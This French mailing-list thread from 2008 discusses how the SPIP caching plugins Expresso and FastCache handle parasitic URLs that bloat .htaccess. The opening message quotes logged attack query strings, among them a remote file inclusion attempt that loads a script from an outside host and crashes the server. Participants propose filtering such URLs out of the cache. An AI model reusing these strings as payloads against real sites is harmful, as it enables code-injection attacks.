L'encadrement de expresso documenté sur spip-contrib
est incapable de barrer suffisemment les url cachées.
le htaccess enfle et se trouve bourré de régles parasites inutiles
et même gênantes puisque parfois elles font planter le .htaccess.
Le filtre actuel teste juste le nombre de paramétres de la querystring.
cela se révèle insuffisant, avec des dizaines voire centaines
de query chopées comme les suivantes :
RewriteCond %{QUERY_STRING} ^id_article=310http://www.econologie.com/forums/adresse.html
ou
RewriteCond %{QUERY_STRING} ^l=http://xxxxxx.xxxxx.xxx.gif%253f$
ou
RewriteCond %{QUERY_STRING} ^l=ftp://84.32.137.157/incoming/upload/trem/oldbisok%253f%253f$
ou
RewriteCond %{QUERY_STRING} ^petition=http://www.gonta.com.ua/new/mc%3f%3f%3f$
qui ont bien le bon nombre de paramètres mais pas le bon paramètre ou pas une valeur valide !
et il y en a une qui revient et fait carrément planter le serveur err 500 :
RewriteCond %{QUERY_STRING} ^_CONFIG[files][functions_page]=http://nkdb.org//AsaMall/makeup/id.txt???$
ça veut dire que pour les squelettes articles et breves et rubriques,
qu'il faut tester plus précisément non seulement le nombre
mais l'argument (pertinent pour le squelette) et la valeur (canonique).
Ce point précis concerne aussi, a priori, fastcache.
J'aimerais avoir les retours d'utilisateurs de expresso et fastcache :
etes vous confronté à ce probleme ou bien non ?
Ou bien vous ne cachez pas les squelettes à paramètres ?
Ou le contournez comment ?
Bonjour Jean Luc,
il semblerait que toutes les url que tu mentionne ci-dessous ressemble bigrement à du spam ou des tentatives d'attaques.
Pour te répondre j'aurais deux commentaires :
- on pourrait deja ne pas cacher toute url qui contient quelque chose qui ressemble à une url absolue (qui est du spam ou de l'attaque dans 99% des cas)
- il manque un mécanisme de régulation du cache effectivement, il faudrait dater les cache et supprimer les plus vieux à chaque fois qu'il y a une mise à jour.
Cédric
Le 7 avr. 08 à 10:21, JLuc a écrit :
Hello,
L'encadrement de expresso documenté sur spip-contrib
est incapable de barrer suffisemment les url cachées.
le htaccess enfle et se trouve bourré de régles parasites inutiles
et même gênantes puisque parfois elles font planter le .htaccess.
Le filtre actuel teste juste le nombre de paramétres de la querystring.
cela se révèle insuffisant, avec des dizaines voire centaines
de query chopées comme les suivantes :
qui ont bien le bon nombre de paramètres mais pas le bon paramètre ou pas une valeur valide !
et il y en a une qui revient et fait carrément planter le serveur err 500 :
RewriteCond %{QUERY_STRING} ^_CONFIG[files][functions_page]=http://nkdb.org//AsaMall/makeup/id.txt???$
ça veut dire que pour les squelettes articles et breves et rubriques,
qu'il faut tester plus précisément non seulement le nombre
mais l'argument (pertinent pour le squelette) et la valeur (canonique).
Ce point précis concerne aussi, a priori, fastcache.
J'aimerais avoir les retours d'utilisateurs de expresso et fastcache :
etes vous confronté à ce probleme ou bien non ?
Ou bien vous ne cachez pas les squelettes à paramètres ?
Ou le contournez comment ?
J'aimerais avoir les retours d'utilisateurs de expresso et fastcache :
etes vous confronté à ce probleme ou bien non ?
Bonjour, J'ai fastcache installé sur taize.fr -- juste pour les pages "rubriques". J'aurais aimé pouvoir l'appliquer sur quelques pages articles choisies, mais je ne vois pas comment on peut l'appliquer juste sur quelques uns seulement.
J'ai l'impression que cela accelère nettement (visible à l'oeil nu) l'affichage des pages.
Cela me crée environ 3000 fichiers "fc_ ..." de petite taille dans le répertoire tmp/cache
Fastcache ne touche pas à .htaccess mais utilise une version de spip.php particulière.
J'aimerais avoir les retours d'utilisateurs de expresso et fastcache :
etes vous confronté à ce probleme ou bien non ?
Bonjour, J'ai fastcache installé sur taize.fr -- juste pour les pages
"rubriques". J'aurais aimé pouvoir l'appliquer sur quelques pages articles
choisies, mais je ne vois pas comment on peut l'appliquer juste sur quelques uns
seulement.
J'ai l'impression que cela accelère nettement (visible à l'oeil nu) l'affichage
des pages.
Cela me crée environ 3000 fichiers "fc_ ..." de petite taille dans le répertoire
tmp/cache
Fastcache ne touche pas à .htaccess mais utilise une version de spip.php
particulière.
Oui tout à fait, ce sont deux approches différentes du même problème que Fil et moi avons développé en même temps en parallèle :
- FastCache est sans doute à préférer si l'on veut conserver les stats, où sur des serveurs pour lesquels on n'a pas accès aux rewriterules, et si PHP est chargé en module apache, voire accéléré par eaccelerator ou autre
- Expresso ne permet pas du tout de conserver les stats, mais il sert le cache uniquement avec Apache, sans PHP. Cela est plus intéressant sur les serveurs où PHP est chargé en CLI voire tourne en suPHP (ie les dédiés d'OVH par exemple dans leur release 2 d'OVH).
Fastcache ne touche pas à .htaccess mais utilise une version de spip.php particulière.
Du fait que expresso logue les pages cachées on voit très bien toutes
les parasites.
Avec fastcache, je pense que ces pages sont aussi (inutilement) cachées
mais 1) ça ne se voit pas et 2) les conséquences sont moins gênantes
car ça mange inutilement du disque,
mais un htaccess qui atteint 73k, ça doit consommer du CPU quand même
(voire planter à partir d'un certain moment ?)
Oui tout à fait, ce sont deux approches différentes du même problème que Fil et moi avons développé en même temps en parallèle :
- FastCache est sans doute à préférer si l'on veut conserver les stats, où sur des serveurs pour lesquels on n'a pas accès aux rewriterules, et si PHP est chargé en module apache, voire accéléré par eaccelerator ou autre
- Expresso ne permet pas du tout de conserver les stats, mais il sert le cache uniquement avec Apache, sans PHP. Cela est plus intéressant sur les serveurs où PHP est chargé en CLI voire tourne en suPHP (ie les dédiés d'OVH par exemple dans leur release 2 d'OVH).
Néanmoins, je me demande si expresso ne pourrait pas insérer sur option
un appel aux stats spip en début de cache ... (au prix d'un lourdeau
appel à php...)
Sur apinc périodiquement très overchargé, un utilisateur remonte
en période de lenteur, que fastcache n'améliore rien
tandis que expresso divise par 3 ou 4 la durée de service de la page.
Mais expresso est délicat. toucher au htacces c'est délicat.
Les accés concurents en écriture ne sont pas empêchés je crois ?
Et quand un bug s'introduit dans le htaccess, ça peut planter tout le site.
Pour te répondre j'aurais deux commentaires :
- on pourrait deja ne pas cacher toute url qui contient quelque chose qui ressemble à une url absolue (qui est du spam ou de l'attaque dans 99% des cas)
Bonne idée.
- il manque un mécanisme de régulation du cache effectivement, il faudrait dater les cache et supprimer les plus vieux à chaque fois qu'il y a une mise à jour.
utile aussi : quelques nouveaux filtres prédéfinis
comme celui qui teste le nb de paramètres
mais portant sur l'existence d'un paramètre ou la canonicité d'une valeur
pour cadrer le contexte.
JL
Le 7 avr. 08 à 10:21, JLuc a écrit :
Hello,
L'encadrement de expresso documenté sur spip-contrib
est incapable de barrer suffisemment les url cachées.
le htaccess enfle et se trouve bourré de régles parasites inutiles
et même gênantes puisque parfois elles font planter le .htaccess.
Le filtre actuel teste juste le nombre de paramétres de la querystring.
cela se révèle insuffisant, avec des dizaines voire centaines
de query chopées comme les suivantes :
qui ont bien le bon nombre de paramètres mais pas le bon paramètre ou pas une valeur valide !
et il y en a une qui revient et fait carrément planter le serveur err 500 :
RewriteCond %{QUERY_STRING} ^_CONFIG[files][functions_page]=http:// nkdb.org//AsaMall/makeup/id.txt???$
ça veut dire que pour les squelettes articles et breves et rubriques,
qu'il faut tester plus précisément non seulement le nombre
mais l'argument (pertinent pour le squelette) et la valeur (canonique).
Ce point précis concerne aussi, a priori, fastcache.
J'aimerais avoir les retours d'utilisateurs de expresso et fastcache :
etes vous confronté à ce probleme ou bien non ?
Ou bien vous ne cachez pas les squelettes à paramètres ?
Ou le contournez comment ?
Fastcache ne touche pas à .htaccess mais utilise une version de
spip.php particulière.
Du fait que expresso logue les pages cachées on voit très bien toutes
les parasites.
Avec fastcache, je pense que ces pages sont aussi (inutilement) cachées
mais 1) ça ne se voit pas et 2) les conséquences sont moins gênantes
car ça mange inutilement du disque,
mais un htaccess qui atteint 73k, ça doit consommer du CPU quand même
(voire planter à partir d'un certain moment ?)
oui tout a fait, sur mes tests, la perf d'apache diminue au fur et à mesure de l'allongement du htaccess
Oui tout à fait, ce sont deux approches différentes du même problème
que Fil et moi avons développé en même temps en parallèle :
- FastCache est sans doute à préférer si l'on veut conserver les
stats, où sur des serveurs pour lesquels on n'a pas accès aux
rewriterules, et si PHP est chargé en module apache, voire accéléré
par eaccelerator ou autre
- Expresso ne permet pas du tout de conserver les stats, mais il sert
le cache uniquement avec Apache, sans PHP. Cela est plus intéressant
sur les serveurs où PHP est chargé en CLI voire tourne en suPHP (ie
les dédiés d'OVH par exemple dans leur release 2 d'OVH).
Néanmoins, je me demande si expresso ne pourrait pas insérer sur option
un appel aux stats spip en début de cache ... (au prix d'un lourdeau
appel à php...)
avec un auto_append_file surement, mais cela perdrait une grosse partie de l'interêt
Sur apinc périodiquement très overchargé, un utilisateur remonte
en période de lenteur, que fastcache n'améliore rien
tandis que expresso divise par 3 ou 4 la durée de service de la page.
Oui cela dépend vraiment de la configuration d'apache/php
Mais expresso est délicat. toucher au htacces c'est délicat.
Les accés concurents en écriture ne sont pas empêchés je crois ?
Et quand un bug s'introduit dans le htaccess, ça peut planter tout le site.
Spip utilise la fonction ecrire_fichier qui gere un lock (tout du moins en disque local, car en NFS les locks semblent inopérants)
il faudrait optimiser les rewrite rules et limiter le nombre d'url cachees en ne conservant que les plus récentes et/ou les plus consultées (il y a la un compromis fonctionnalité/rapidité du code à trouver)
> Bonjour, J'ai fastcache installé sur taize.fr -- juste pour les pages
> "rubriques". J'aurais aimé pouvoir l'appliquer sur quelques pages
> articles choisies, mais je ne vois pas comment on peut l'appliquer juste sur
> quelques uns seulement.
D'abord Merci Paolo, de défendre le seul, le beau, le vrai plugin
d'accélération de SPIP !
Comme on choisit les pages à cacher avec #FASTCACHE, on peut faire du
conditionnel :
et j'ai *l'impression* que cela marche (c'est à dire je pense que lorsque je ne suis pas connecté en admin la page se charge plus vite qu'avant).
Pourtant, je ne trouve pas dans tmp/cache/ des fichiers fc... qui correspondent à cette page. Il me semble que chaque page en cache a un fichier _head.inc qu'y correspond ? Et que ce fichier porte l'URL de la page en commentaire. Alors, avec grep je ne trouve pas les URLs des pages qui auraient été mises en caches de cette manière.
#CACHE{86400}
<BOUCLE_fc(MOT){id_article}{id_mot=187}> #FASTCACHE
...
Pourtant, je ne trouve pas dans tmp/cache/ des fichiers fc... qui correspondent à cette page.
Pas surprenant : j'avais laissé tomber le 'S' de (MOTS)
Cela marche bien.
P.
